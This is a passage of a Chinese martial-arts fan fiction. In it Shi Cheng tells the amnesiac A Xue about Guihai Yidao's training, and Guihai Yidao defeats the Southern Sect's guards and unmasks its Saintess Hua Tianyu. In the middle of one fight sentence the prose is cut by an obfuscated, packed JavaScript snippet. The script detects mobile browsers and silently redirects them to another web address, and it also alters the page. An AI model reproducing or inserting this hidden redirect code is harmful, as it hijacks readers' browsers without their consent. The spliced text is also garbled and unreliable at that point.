这四个字是阿雪苏醒以来首先想起、也是唯一记得的名字,她不知道这名字主人是谁,与自己是何关系,却隐隐觉得此人对自己十分重要,决不能忘怀。她反复念着这四个字,像是抓着一根救命细线,她想攀着这根细线,穿过脑海重重迷雾,找回过往一丝清明。可每当她快要抓住一丝光明之时,莫名的疼痛就席卷而来,掐断她的视线,她重新跌回黑暗之中,再回过神来,四周依旧迷雾重重。 如此反复失败几次,阿雪只觉得头痛欲裂,心口发闷,她起身想找些水喝,却见一道人影从窗前闪过。 阿雪立即警醒,翻身下床,扒开门缝查看,只见人影沿走廊飘过,拐进厨房。阿雪悄声跟上,伏在窗边小心查看,发现此人原来是石老板。石老板并无奇怪举动,只将一个茶壶放在桌上,从灶上打了热水注入壶中,这一系列动作他皆是用左手完成,阿雪早已注意到他空荡荡的右袖,此时再望着他高大的背影,莫名与脑海中某人身影重叠,又闪过一丝疼痛。 “归海姑娘睡不着吗?” 这声音把阿雪吓了一跳。眼见已被发现,阿雪甚至觉得石老板是故意将自己引来,于是她也不躲藏。 “前辈!” 石老板从桌上取了两只茶杯,沏好茶,沿桌边坐下,又指了指另一侧的位子。阿雪会意,也不扭捏,大大方方地落座。 石老板将茶杯推到阿雪面前,开口道: “归海姑娘可是有话要问?” 阿雪先是一惊,没想到自己的心思竟早被看穿,她低头思忖片刻,直接开口问道: “前辈可认识归海一刀?” 石老板不答,只是笑笑,反问道: “姑娘的名字不就是归海一刀?” “石老板莫要说笑!” 阿雪想起午前在镇外与阿凉的对话,心中苦笑,苗人或许不知,若是汉人必定奇怪谁家父母会给女儿起这样的名字。 “实不相瞒,我遭逢劫难,得阿凉相救,眼下记忆全无,只记得‘归海一刀’这个名字,我甚至想不起归海一刀与我是何关系、人在何处,前辈若是知晓线索,烦请告知!” “原来如此,不过,姑娘何以肯定我认识归海一刀?” “直觉吧!今日在祭台上,虽然前辈面对恶人百般退让,但我看得出,你会武,而且武功高强,否则怎会认出我的招式乃漫天花雨洒金钱?” 言及此处,阿雪又想了想,问道: “漫天花雨洒金钱可与归海一刀有关?” “没有,漫天花雨洒金钱乃是一位武林高人的秘技。十年前,我还未退隐江湖之时,他与我齐名,江湖人称春梦了无痕。” “春梦了无痕,无痕公子……” 提起这个名字,阿雪忽觉脑海中一道电光闪过,但又很快泯灭,只剩针扎般的疼痛。 “至于归海,即使在汉人中,归海一姓也是少见,我恰巧认识两位,一位算是我的师兄,一位算是我的徒弟。” “敢问前辈是……” “我的确本名石诚,只是江湖人只知道我另一个名字,他们唤我作‘霸刀’。” “纵横四海霸刀法,天地一刃绝情斩。前辈是……霸刀?” “哈,你不是失忆了吗?怎么连十年之前的江湖传闻都记得?” 这话倒是一下问住阿雪,关于这一点她也不清楚。明明无论如何回忆,都想不起半点往事,可这些知识本领却有时像是本能反应一样浮现脑海,仿佛经过日复一日地锤练,已然刻在记忆深处。 “前辈当年在江湖上何等威名,为何突然间退隐山林?” 阿雪不知该如何回答,只能将话题引开。 “威名并非我之所求,退隐也是需要代价。姑娘若是不嫌老头啰嗦,我也愿意将故事与你说上一说。” 话至此处,石诚呷了一口茶,长叹一声,幽幽道: “我原本是一名孤儿,自小被锦衣卫收养,作为密探培训,石诚也那时起的名字。在我十五岁那年,已通过密探考核,接受的第一项任务,就是远赴漠北,寻找已在江湖上失踪的醉饮狂刀,学习更强刀法。我在漠北足足寻找两年,终于找到醉饮狂刀,拜他为师,而当时与我一同学艺的有另一名少年,他叫归海百炼。” “我与归海百炼一同学武,他比我早入门,天资、悟性更强,也比我更加努力。最关键的是,他与我不同,学武不是任务,也没有负担,只因痴迷武学而拜师,这让我十分不解。无论如何,我与归海师兄一同在醉饮狂刀门下学武三年,而我们共同的目标就是学习秘技六道刀法。” “六道刀法?” “六道刀法相传乃前朝元世祖忽必烈座下探马赤军元帅哲都所创,此刀法以蒙古骑兵刀法为原型,融合密宗心法,所以刀势迅猛凌厉,势不可挡。但开始学艺后,我们才知道六道刀法并不完整,或者说醉饮狂刀手中的六道刀法不完整。” “这是为何?” “六道刀法乃蒙古人所创,前朝末年动乱,刀谱应该是那时遗失。有传言醉饮狂刀乃蒙古贵族后裔,但直到最后,我们也无法求证。六道刀法一共分为六个部分,而醉饮狂刀手中只有其中两个部分,强行修炼,就有可能走火入魔。实际上,我与归海师兄拜师之时,醉饮狂刀临近入魔边缘,日日饮酒伤人,我二人在他手下也没少吃苦头,即便如此,还是坚持下来。醉饮狂刀从未亲自教授刀法,但我二人跟随他走南闯北,私下也偷学不少。终于,在三年之后,醉饮狂刀因比武斗狠被仇家杀死,我二人将他尸体埋葬之后,分得遗留刀谱,分别是阿鼻道刀法和阿修罗道刀法。归海师兄取走了阿鼻道刀法,而我则取走阿修罗道刀法。这两部刀法皆是残缺不全,所以我二人便在各自基础之上修练,补全心法、招式,最终,归海师兄从阿鼻道刀法中悟出一套雄霸天下,而我则从阿修罗道刀法中悟出绝情斩。” “仅是刀谱的六分之一,也能成就霸刀威名,看来六道刀法的确威力惊人。”阿雪不由感慨道,“可既然归海前辈与石前辈师出同门,所练刀法又有如此威力,为何江湖上鲜有听闻归海百炼之名?” “我刚才也说了,归海师兄与我不同,他修习刀法只为追求武学至高,或许再他眼里,所谓的江湖名声、权势地位皆是无关紧要。这世上,武功高强之人未必声名显赫,声名显赫之人未必真的武功高强。我只知道,分别几年之后,他已然成亲生子,又过了几年,却莫名死在辟邪山庄。” “至于我,则是后者。我得到阿修罗道刀法后,又闭关五年,这才领悟出绝情斩。而当时的锦衣卫为了扩充江湖势力派我出山,我以霸刀为名,接连挑战几位江湖高手,在赢得名气之后成立绝情山庄。之后十年时间,表面上绝情山庄是江湖门派,实际上却是锦衣卫暗设机构,接受任务铲除异己。” “那……为何前辈最后会选择退隐江湖?在这里做一名……” “做一名软弱怯懦、任人欺凌的小贩?” “不,我不是这个意思!” “没关系,你说得不错,这条路是我自己选的。” 说到这里,石诚不由得苦笑一声,左手下意识地捉住空荡荡的右袖。 “说来也是报应,我用这只右手练就绝情斩,又用这只右手杀人无数,最后还是要舍去这只右手才能归隐。” “这其中究竟发生什么?” “姑娘可知护龙山庄?” “护龙……山庄……” 听到这四个字,阿雪脑海中闪过一道光芒,转瞬即逝,随即一阵刺痛。她强忍不适,集中精力继续听下去。 “护龙山庄乃二十年前由先帝所创,培养密探,搜集情报,供帝王差遣,同时所创还有东厂,皆是为了制衡势力逐渐扩大的锦衣卫。锦衣卫遭到裁撤,人员锐减,而我当时因为一场大战伤了右手经脉,再无恢复可能,我想该是退隐时候,不过护龙山庄和东厂同时看上我的绝情斩,我必须绝情斩传授于人才能退隐。” “但护龙山庄与东厂同时争夺,既不愿让对方夺去,更不会自我放弃。我两头为难,最后只能想出一个办法,我在绝情山庄公开收徒,招收一百二十八名弟子,最后选出一名继承我的绝情斩。” “那人是……” “正是归海一刀。” 说到这里,阿雪忽然感觉心揪了起来,眼见就要找到她最想探索的过往,可一股疼痛却率先由心口蔓延。 “不知……归海一刀是如何通过前辈的考验?” “其实,没有什么考验。这一百二十八名弟子入门之后,我只教他们一件事情,那就是杀人。一百二十八人,两人一组,一同学武,每年冬至,同组之人互相残杀,存活之人晋升下一组,如此循环往复,最终只剩一人。” “为什么要做这样的事情?”阿雪惊道。 “因为这就是他们之后要走的路。”石诚严肃道,“绝情斩是护龙山庄和东厂必争之物,这一百二十八名弟子大多是护龙山庄和东厂安排来,剩下的也都是些亡命之徒,日后逃不了终生杀戮的命运,不过早晚而已。事实上,我在锦衣卫所受训练也是如此。” “当年,归海一刀初入绝情山庄之时,不过十几岁少年。开始,我并不看好他。虽然他骨骼精奇,是一块练武的好材料,但习武时间不长,底子不好,而其余一百二十七名学子之中,武功小有所成的大有人在,我原本以为他撑不过两年,却没想到他竟能活到最后。这其中,除了要有远超常人的坚忍努力,还因为他早已掌握绝情斩心法。” “绝情斩心法?” “绝情斩源自阿修罗道刀法,而阿修罗乃佛教之中战神,若要成就战神威名,便要抛弃七情六欲,因此绝情斩心法仅十二字,绝情绝义绝亲绝爱绝怜绝友。” “这怎么可能做到?” “我看得出,姑娘乃是重情重义之人,自然不会理解绝情之举。” 石诚淡然一笑,眼神之中并无责怪,反而透着三分欣赏,七分钦羡。 “可这世上有太多不幸,有些人相信世间有光明、有真情,但有些人眼中只有仇恨与黑暗。我第一眼见到那个性格像石头一般坚硬的少年,就知道他和我是同一类人,我们一旦给自己的人生决定方向,视野自然狭窄偏执。归海一刀说他习武只为复仇,我知道他是为了父亲,但我没有说出我和他父亲的关系。我从未在一个少年眼中见过那样强烈的恨意和决心,我知道这份恨意会让他抛情弃爱,助他登上武学至高境界。” “一个人若是真的抛情弃爱,就算登达武学至高境界,又有什么意思?” “这一点就要靠他自己领悟。” 石诚顿了顿,意味深长地看着阿雪。 “心中只有恨时,自然认为情爱是牵绊,可越是偏执之人,根植于心中情爱越是难忘。既然有像顽石一般固执之人,那么也会有愿意包容、感化这块顽石的重情之人。” “无论如何,我都要感谢归海一刀。”石诚松开紧握右袖的左手,神情已归释然,“在七年之后,他连杀七人,当他举刀站在我面前时,我知道他已经练成绝情斩,纵使我没有教过他一招半式。最后,我二人决斗,他一刀斩下我的右手,从此,世上再无霸刀。” “所以当年前辈决斗之时已然负伤在身,并未使出全力?” “这有什么区别吗?最终,绝情斩也算后继有人,至于我这条右臂,本就该舍弃,若还是留恋,又如何能换得如今太平日子?” 言至于此,二人都陷入沉默。阿雪在脑海中拼凑关于归海一刀的印象,少年复仇、历经磨难、绝情绝爱、杀戮无数,这是怎样的人生?要有怎样的坚持才能做到不误入歧途?而与他相关的自己的经历又是怎样? “姑娘,心中可是还有疑惑?” “没……没有……”石诚的声音点醒阿雪,她努力平复自己纷乱的情绪,最终小心翼翼地开口,“那……前辈可知……” “抱歉,我并不知道。”石诚的回答十分干脆坦然,“十年前我与归海一刀决斗,落败之后,我就退隐江湖,我们二人再无联系,我不知道他这些年过得怎么样?我与姑娘素未谋面,也不知道你与归海一刀是何关系。” “是这样……”阿雪黯黯垂下眼眸。 “不过,我想姑娘对于一刀一定十分重要。” “前辈何出此言?” “因为我说过,我和一刀是同一类人。绝情之人,最是重情,这话听着荒唐,却是有理。像我们这样的人,自知杀戮无数,断然不会轻易与人扯上关系,一旦有所羁绊,定是生死不弃。姑娘眼下记忆全无,却唯独记得归海一刀的名字,想来他对你十分重要,反之,也是如此。” 夜风袭来,烛火摇曳,一抹红晕悄悄爬上阿雪清丽的面孔。她莫名觉得一股暖流抚平纷乱思绪,连续几日来悬着的心稍稍安定下来。纵使这场谈话并没有恢复多少记忆,却也让她更加了解关于归海一刀的过去。最重要的是,她得以确定一件事情,归海一刀对自己十分重要,她亦如是;她在寻找归海一刀,或许归海一刀也在惦记自己。人活于世,漂泊异乡,有一个能够惦念着他、同时他也惦念着自己的人,多么令人安心!个中滋味,恐怕只有当事人才能领会。 临仙阁,算得上是临州的地标。一来因为其宏伟别致的外观,临仙阁毗邻临仙湖,依山而建,九层高楼层叠而上,高低错落,玲珑有致,既掩映于山木苍翠之间,又大有直冲云霄之势;二来因为南教的势力与名声。实际上,归海一刀并未动用护民山庄情报网,仅靠沿途打听,五日之后,就赶到临仙阁。 一刀隔着临仙湖遥望,只见烟波浩淼,青山连绵,连日赶路而来所见滇南独有的毒辣日头,此刻却被阴霾天空尽数吸收消散,成团云朵聚集山腰,衬得远方的苗寨木楼恍如云中宫殿一般。 一刀深吸一口气,鼓足内劲,踏水而去。湖面宽广,但相对于归海一刀的轻功却不在话下,他足尖踏水,借风乘势,原本空荡荡的右袖受真气鼓荡,此刻俨然化为迎风舒展的翅膀,本人更像一只翱翔的雄鹰。眼看临仙阁已近在咫尺,忽地十数支冷箭由四面八方射来。此刻一刀身体凌空,绝难躲避,但他毫不慌乱,右袖一扬,劲风扫荡,十数支羽箭竟被生生震碎。但如此一来,一刀轻功受阻,眼看着就要跌落湖中,一刀再提真气,脚踏满空残箭,长臂一振,身如鹰隼穿云,转瞬间已稳稳踏上对岸。 可一刀身形方定,就有九名女子从木楼中涌出,将他围住。这九名女子皆身着苗族短裙,头顶银冠,脸戴木制面具,手握藤鞭。 “让开!” “归海大侠要闯临仙阁,先过此阵。” 话音刚落,九名女子玉手齐扬,九条长鞭顿时织成一张天罗地网,向一刀当头罩下。一刀脚步不动,仅是举起汗血宝刀。眼看一刀如此从容自若,领阵女子不敢怠慢,眼神一凛,招式倏变,九条藤鞭一齐缠上了汗血宝刀。这九名女子在南教中皆是一等一的好手,九人一同发力,能将一头水牛生生撕裂。可归海一刀是何许人也?只见他面不改色,宝刀轻轻一带,九名女子同时感到一股霸道刚猛的内力如海涛般汹涌而来,还不等她们运力抵抗,手中的藤鞭已被震得段段碎裂。 九名女子惊骇不已,照理来说,藤鞭柔软,难以着力,刀剑尚且难以削断,归海一刀却能以内力震碎,足见其内功刚猛霸道,并世无双。领阵女子强定心神,一声令下: “拔剑!” 九名女子一同拔出腰间短剑,她们手中短剑形制奇妙,剑身略弯,似剑似刀。领阵女子身先士卒,剑指一刀咽喉。一刀仍是不躲,眼看着寒光已至,忽地身形一展,竟已绕到领阵女子背后,左掌作刀,向她肩胛劈下。 顶尖刀客能化刀气为形,尤胜利刃。领阵女子感到背后刀气森森,即知一刀修为绝顶,可她求胜心切,招式使老,此刻绝难回防,眼看一条玉臂要被削下。右侧三名女子挺剑而上,直指一刀背心,一刀头也不回,右袖凌空一扬,“啪”的一声拂开三把短剑,可如此一来,他未免分心,领阵女子得以避开杀招。 两个回合下来,领阵女子已知一刀修为远胜九人,但她仍是不退,指挥同伴重整态势。只见九名女子绕着一刀走动,脚踏九宫八卦方位,一刀暗暗惊道: “都说南教是苗人帮派,为何也懂得中原汉人的九宫八卦阵?南教教主是何来头?” 但一刀懒得多想,他生性直率,最讨厌弯弯绕绕,于是提刀就要往阵外冲去。可每当一刀要往外冲,九名女子一齐聚来,短剑直指要害。她们每个人的功力都远逊一刀,可若九人聚齐,再加上剑法精妙,就能将一刀挡下。而一旦挡下,又倏地散开,仍呈包围之势,如此无论一刀从哪个方位突围,皆是不能。 如此试了几次,一刀似乎已经心烦气躁。他强提一口真气,向领阵女子冲去。领阵女子剑掌护身,严阵以待。岂料一刀忽地脚尖一点,身如利箭倒射,飞向身后湖面。押后阵的两名女子见状,以为一刀要逃,各自横剑阻拦。 “不要中计!” 领阵女子发声阻拦,可惜为时已晚。但这两名女子也不是有勇无谋之辈,她们自知修为不及一刀,于是率先抢攻,剑出如电,直指一刀胸口、腰间大穴。岂料一刀既不抵挡,亦不躲闪,反而右袖一扬,如软索般卷缠两把钢剑。 两名女子大惑不解,她们手持短剑虽非神兵利刃,却也锋利异常,一刀用衣袖卷缠,无异于以卵击石。于是二人运力外夺,欲割裂一刀右袖,岂料纹丝不动。她们哪里知道,这是一刀在断臂之后,自创“流云飞袖”,以浑厚真气鼓荡右袖,不仅灵活如鞭,内力贯之,亦是坚韧逾铁。世人皆道,归海一刀刀法刚猛霸道,殊不知“流云飞袖”正是归海一刀独创以柔克刚之技。 两名女子用尽全力,仍不能夺回短剑,反而被一刀右袖绞断。左右各自三名女子见状不妙,一齐涌上,但如今攻守之势相易,只见一刀率先脚步一旋,右袖飞扬,周身卷起一股热浪巨涛,六名女子顿感如陷炽风烈旋,呼吸难继,身法稍缓,随后一阵断金碎玉之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292471|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,六名女子手中短剑皆被绞断。 这一切不过电光火石之间,八名女子兵器已断,只剩领阵女子。可领阵女子还未缓过神来,刀气已至面前,“叮”的一声,劈落她头顶银冠。 “还打吗?” 胜负已分,无需多言。领阵女子摘下面具,对着一刀单膝跪下。 “多谢归海大侠不杀之恩!” 这话并非空穴来风,九名女子明白,倘若一刀方才拔刀,她们早已人头落地。 “归海大侠刀法卓绝,实乃天下第一刀,我等佩服!实在不枉费……” 话至此处,领阵女子忽然“嗤”的一声笑了出来。 “不枉费圣女大费周章将大侠请来!” “什么圣女?” “我等乃南教圣女的贴身侍女,这临仙阁是圣女在临州住所。” 一刀只觉得云里雾里,忽然听见身后传来笑声,回头一看,方才围攻他的几名女子都已摘下面具,聚在一处,对着一刀指指点点、嬉嬉笑笑,仿佛全然忘了不久前的殊死搏斗,其中两人还抬头望天。 一刀顺着她们的视线抬头仰望,只见在临仙阁顶楼,一道人影匆忙闪入窗户之后,紧接着身后女子又是一阵嬉笑。 一刀看得莫名其妙,不耐烦道: “带我去见你们的圣女!” 领阵女子带着一刀进入临仙阁,沿着木梯蜿蜒而上,一路上再也没有埋伏袭击,很快就来到顶楼,停在一扇雕花木门前。 “圣女就在房中,大侠请!” 一刀推门而入,一股清风迎面而来。眼前一方百尺楼阁,与外部高楼入云、恢弘大气不同,室内摆设典雅,一扇绢制花鸟屏风,一组檀木雕花桌椅,几盆凤仙花分布四角,布置精致之中又带着些许女儿家柔情。楼阁正面窗户打开,遥见远处雪山连绵,碧湖浩淼,清风入室,银铃清脆,携裹紫金香炉暖烟回荡室内,融合着凤仙花阵阵幽香,仿佛化得人骨头都酥了。 此情此景真让一刀无所适从。他见惯刀光剑影、江湖厮杀,眼下却看不懂南教圣女意图为何?他担心香气有毒,正打算运气屏息,却听见一阵悦耳的女声。 “归海大侠放心,这熏香无毒,花香也无毒。” 一刀循着声音看去,只见一扇珠帘掩映的小门,门后又连接一段楼梯。两名侍女站在门前,将珠帘掀开。只见一名女子正沿楼梯走下,她身形窈窕,同样戴着木制面具,身穿苗族女子短裙,但衣料华贵,绣以金线宝石,头戴银冠更加繁复精美,形如飞鸟,辅以银花、云纹点缀,熠熠生辉,就连光洁的脚踝上都各有一串银铃,随着她的步子叮铃作响。 “你是南教圣女?” “正是。” “雨儿在哪里?” 一刀忽然一问,倒是出乎南教圣女意料。只听她格格轻笑,道: “归海大侠放心,那位姑娘是贵客,我自然会好好招待。”圣女想了想,又开口道,“只是归海大侠如此紧张雨儿姑娘的安危,不知她与大侠是何关系?” “萍水相逢。” “萍水相逢?”圣女又是一笑,“仅是萍水相逢,就为她单枪匹马闯我临仙阁,归海大侠可真是侠骨柔情!” 一刀并未理会这番恭维,自顾自地在茶几前坐下。见此情景,南教圣女挥手屏退侍女,与一刀隔案相坐。 “归海大侠不要误会,我们苗人尚武,崇拜强者,归海大侠是当世高手,我有意向你讨教,这才想了办法将人请来。” 说话间,南教圣女已将手臂搭在茶几上,身体又靠近几分。 “刚才在门外的是我南教独创九华剑阵,归海大侠不到半盏茶便能破阵,而且从始至终未曾拔刀,的确武功高强!在大侠看来,这九华剑阵该从何处改进?” “圣女!”一刀打断她的话,眼神中有几分难辨之意,“按照中原礼仪,在下远来是客,是否该先奉茶?” 此话一出,南教圣女愣了一愣,才反应过来,提起茶壶斟茶,赔笑道: “大侠见谅,我苗疆女子不懂那些个中原礼仪规矩,是我怠慢了,见谅!” 说话间,南教圣女将茶杯递给一刀,他却不接,反而盯着南教圣女的手看。 “归海大侠不用担心,我敬仰英雄豪杰,今日请大侠前来只为讨教武学,南教善用蛊毒,却不会乱用,大可……” 话未说完,忽听“啪”的一声,一刀的右袖卷上南教圣女的右手手腕。一刀的右袖看似无奇,可经内力贯透,此时如同烧红的铁丝,炙热无比,勒得南教圣女手腕生疼。南教圣女大惊,霍然起身,右手运力外夺,却是不能,反而被越勒越紧。南教圣女又气又急,抬腿去踢一刀右腰肾俞穴。肾俞穴是人身要害,这一脚又阴又狠,一刀被迫运气护穴,自然放松右袖力道,南教圣女则趁机运足内力灌注右手,终于“嗤”的一声,撕裂一刀右袖,挣脱束缚,飞身退出几步开外。 茶几早已掀翻,摔得满地碎瓷。圣女勉强稳住身形,却见一刀右袖一抖,抖出一枚银凤耳环。 “你……”圣女下意识摸了摸耳坠,顿时气得跺脚。 “你不是想比武吗?你还不配让我动刀,抢到这枚耳环,就算你赢。” “你敢看不起我!” 历来高手比武,可分为武比、文比。所谓武比,即真刀真枪,见血方收;而所谓文比,即点到即止,或比拼内力,或比拼招式,最常见的则是以夺取对手一样物品为胜。方才搏斗之时,一刀能在南教圣女毫无察觉的情况下仅凭右袖拂落她的耳环,足显修为远胜南教圣女。饶是如此,南教圣女仍不认输。 南教圣女恼羞成怒,抽出腰间所缠紫金藤鞭向一刀挥去,一刀闪身躲过,藤鞭落在背后长案之上,顿时将长案一分为二。二人在百尺见方的阁楼中缠斗起来,圣女挥舞藤鞭,如灵蛇舞动,紫电破空,所到之处皆是一片残木碎瓷,而一刀始终刀未出鞘,左右闪躲,避其攻势。 虽然以一刀武功可以从容应对,但阁楼毕竟空间有限,南教圣女招式身法颇为灵活,渐渐将一刀逼至墙角。南教圣女看准时机,挥舞藤鞭缠住一刀右袖,飞身扑近,伸手要抢银凤耳环。却不想,一刀突然摊开左手,将耳环抛向空中。南教圣女求胜心切,竟下意识抬手去抢,就这样将正面空门毫无防备地留给对手。当她意识到这一错误之时,已感觉一股刀气直扑面门,她躲闪不及,只能下意识地闭上眼睛。 一刀手掌至圣女面前停住,凌厉的刀气将面具一分为二。随着面具落地的声音,圣女缓缓睁开眼睛,与一刀四目相对。但下一瞬间,她似乎想起什么,迅速转过脸去,却为时已晚。 “玩够了没有?” 经过一番打斗,她的头发有些散乱,却难掩美貌,只见她五官如画,星眸微转,左边嘴角还有一弯浅浅酒窝。她就是雨儿。 眼见瞒不下去,她索性转过身来,大大方方地面对一刀。 “不错,我是雨儿,也是南教圣女。”为掩饰心虚,她故意昂着头,强词夺理道,“我可先说好了,我没有骗你,我从来没说我不是雨儿。” “那你又说自己是被拐卖到青楼里的?” “那……那也不是骗你!我骗的是那些人贩子,我是让手下做局,把我卖给他们,然后逃出来遇到你……” “哼!堂堂魔教圣女,为了讨教武学,竟然如此大费周章!” 这番阴阳怪气让南教圣女无从反驳,她气得抿紧嘴唇,好一会儿才开口道: “你是什么时候发现我的?” “圣女是问我何时发现你有问题?还是问何时知道你就是雨儿?” “都是。” “在江陵时,我就知道你有问题。” “为什么?” “在江陵下船时,你假装在我面前摔倒,对吗?” “是又如何?” “我那时故意用右袖将你托起,在袖中暗运内力,若你不会武功,必定被我震退。但你没有,所以我能肯定你会武功,而且修为不弱。” 南教圣女惊得说不出话来,她本是一流高手,纵使一刀内力运用妙到毫巅,她也理应察觉不妥,只怪她当时心思全在别的地方。 “还有,你那时不是跟踪我到棺材铺吗?” “……是又如何?我自信那时没有被你发现!” “不是我发现的,是护民山庄发现的。” 说到此处,一刀嘴角微微上扬。南教圣女料想不到,她自认为演技精湛,骗过一刀,却不知一刀纵有侠义心肠,但作为大内密探的本能是绝不会轻易相信他人。那时一刀已试出她会武功,为了进一步确认,将她引去棺材铺,而当她跟踪一刀那刻开始,就已经被护民山庄的暗探盯上。一刀在棺材铺消磨时间,等待调查结果,不过最终什么也没有。若是连护民山庄都查不出结果,就更能说明其背后势力庞大。 “既然知道我有问题,那你还送我回滇南?” “你如此大费周章接近我,我若不将计就计,如何引蛇出洞?” “那你又是几时发现雨儿就是南教圣女?” “就在刚才你给我奉茶的时候。” “奉茶的时候?”南教圣女不禁回想刚才的情景,到底是哪里露出破绽? “你不用多想,这是我的个人习惯。我常年练刀,磨出一手厚茧,所以我也习惯观察他人手茧纹路。” 此话一出,南教圣女下意识地握紧双手。她想起刚到滇南时,自己曾给一刀奉茶,刚才一刀又主动要求自己奉茶,想来是为了进一步确认。想到这里,她不禁懊悔自己确实太过小看大内密探。 “你问完了,现在到我。”说话间,一刀已然举刀架在南教圣女脖子前,“你做这么多,到底有什么目的?” “不知道!”南教圣女梗着脖子,耍赖到底。 “别再耍我,我的耐心是有限度。”说着,刀锋又往脖子靠近几分。 “你就算杀了我,我也不知道。我只是奉母亲的命令,接近你,把你引来滇南,至于为了什么,母亲并没有说。” “你母亲是……” “南教教主,花白凤。”说到这里,她的神情多了几分骄傲,“我是她的女儿,我叫花天羽。” “把我引来临州也是你母亲的命令?” “不是,这是我自己的主意。” “为什么?” “因为……”虽然刀锋近在咫尺,却感受不到杀气,于是天羽壮着胆子别开刀锋,身体又靠近一刀几分,“我觉得你挺有意思的!” “什么?” “简单来说,我……好像看上你了!” 这个答案出乎意料,一刀狠狠地瞪了天羽一眼,却不想碰上对方率直的眼神,只好转头避开。 “姑娘家,别乱说话!” “我没乱说。”天羽仍然毫不避讳地望着一刀,语气颇为坚定,“喜欢就是喜欢,我苗疆女子敢爱敢恨,才不像汉人那般扭扭捏捏。” 这一番言语攻势着实令一刀无从应对,此刻他真希望眼前之人是个十恶不赦之徒、或是阴险狡诈之辈,好让他一刀了结。眼见再问下去也没有结果,一刀索性收刀入鞘,转身要向外走。 “归海大侠这就要走?”天羽叫住一刀,“让我猜猜,归海大侠这是要去丽州,找黄字密探成是非,对吗?” “你怎么知道?” “哼!”天羽轻笑一声,骄傲之情溢于言表,“我南教情报虽不及护民山庄广博迅速,可也是滇南第一大帮,这片土地上发生的大小事情我都知道。三天前,成密探大闹宣慰司之宴消息已然传遍滇南,归海大侠是想去帮他一把,对吗?” “是又如何?” “那我就一起去。” “你还敢跟着我!”一刀挥手拔刀,而这一次不同,他的刀明显染上怒气。 天羽也识趣,不再靠近一刀,却在几步之外叉着腰,理直气壮地开口道: “敢问归海大侠,你从金陵到滇南,这一路上我可有加害于你?或是你有何损伤?” “这……” “如果你恼我骗你,我无话可说。可花天羽扪心自问,我虽奉母亲命令接近于你,却无歹心,更没有设计害你。你我无冤无仇,你要杀了我吗?” “你……那你也别跟着我!” “谁跟着你了?大路朝天,各走一边,你能去丽州,别人不能去吗?你去找你的兄弟,我去看我的朋友,结伴而行罢了。” 一刀对这一番强词夺理毫无招架之法,只能悻悻地收刀。 “再给你一个建议,归海大侠。”天羽竖起指头,得意地说道,“若要从此处去丽州,最快的路程是向北翻过凤鸣山,过石溪镇,从那儿走官道可直达丽州。你放心,凤鸣山被巫帮占据,我无法在那儿设计埋伏你。不过,滇南道路复杂,归海大侠初来乍到,若是无人向导,怕是要绕大圈子。” “不必!”一刀没好气地回应,摔门而去。 眼见一刀如此态度,天羽并没有生气或是沮丧。她翻身坐在打开的窗台上,很快望见一抹乘风飞翔于湖面之上的黑色身影。比起茫茫雪山,浩淼仙湖,这抹身影太过渺小,可若细看,他身形矫健,如同一只破空而出的雄鹰,不禁让人心生向往。 “萍水相逢,萍水相逢那么紧张干吗?” 天羽喃喃自语,恰逢清风拂面,令她心情大好,她伸手拨弄窗檐下的银铃,回忆刚才一刀的种种反应。她今日设局,原本只想试探一刀的武功,却意外地发现他侠骨柔情的一面。想到这里,一抹小女儿的甜蜜微笑浮上嘴角,她看了看手中的银凤耳环,小心翼翼地收入怀中。 8. 古林遇埋伏 深夜寻真相 临州城北有一间客栈,名为“北思楼”,是护民山庄所设情报点,归海一刀宿于此处。北思楼掌柜之人是一名女子,姓李,诨名四娘,精明能干,老练通达,她得知一刀的身份,立即殷勤招待。一刀并不是恃权傲慢之人,只不过习惯了雷厉风行,径直选了一间客房,下令调阅南教卷宗,很快,酒菜和卷宗均已呈上。 一刀闭门查阅卷宗,卷宗记载:南教创立百年,乃滇南第一大帮,传至如今第四代教主名为花白凤,其有一女被封为“南教圣女”。 一刀阖上卷宗,心想这些情报倒和今日花天羽所说并无出入,可见她没有撒谎。一刀回顾过往,细细盘算,这位南教圣女费尽心机把自己骗来滇南,却不明意图,不过确如她所说,自己这一路上并没有受到任何暗害或是损失,这更让人疑惑南教目的,难道真是因为…… 一刀想起花天羽率直的眼神,忽觉得面上一热。他努力赶走脑海中纷乱的想法,从怀中摸出一枚羊脂玉佩。玉佩在烛火下泛着温润的光芒,花纹因为反复抚摸而几近磨平。一刀记得,曾几何时自己也有过这样的眼神,海棠也有,那时他看着海棠,海棠却看着天涯,等到海棠注意到自己的心意,开始以同样的眼神回望他时,他却只顾着复仇,二人就在这样兜兜转转中几番错过,好不容易互通心意之时,海棠却已撒手人寰。 思念至此,一股钝痛涌上心头,一刀抓起桌上酒坛猛灌一口。瞬间,清凉的酒液浸湿他胸前衣襟,却无法平息他的悲痛。在一刀亲手埋葬海棠的那一刻,他也将自己的心埋葬。他曾说过,海棠是他的世界,是他黑暗人生中的唯一光芒,他愿意为了光芒付出一切。如今光芒消散,他曾想过自暴自弃,天涯却劝他,说海棠一定不愿见他如此。于是,一刀选择自我放逐,他游历四方,完成海棠行侠仗义的心愿;他遵守一辈子只听海棠的诺言,按照海棠所说放下仇恨、放下戒备,尝试着宽容地看待世界;他努力模仿海棠的言行,把自己活成“上官海”,而不是归海一刀。可即便如此,一刀仍然感觉到内心的空洞,他知道这洞永远无法补上,如此残缺的灵魂,又如何能够再去接受另一份感情…… 翌日,一刀趁着天际微光出发,前往丽州。可当他一人一马行至北城门之时,远远看见一抹娇俏的身影。 “早上好!”天羽毫不生分地向一刀打招呼,笑容灿烂,犹如朝阳。 “你怎么在这儿?”一刀有些气恼,他特意早早启程,就是想避开天羽,岂料天羽早已等候在此。 “我怎么不能在这儿?这城门又不是你的。” “我不是问这个,我是问……”一刀本想问天羽怎么知道他会走这道城门,但一见天羽笑嘻嘻地望着他,好像是他主动搭话,只能把疑问憋回肚子里。 而天羽看见一刀如此窘态,格格直笑。 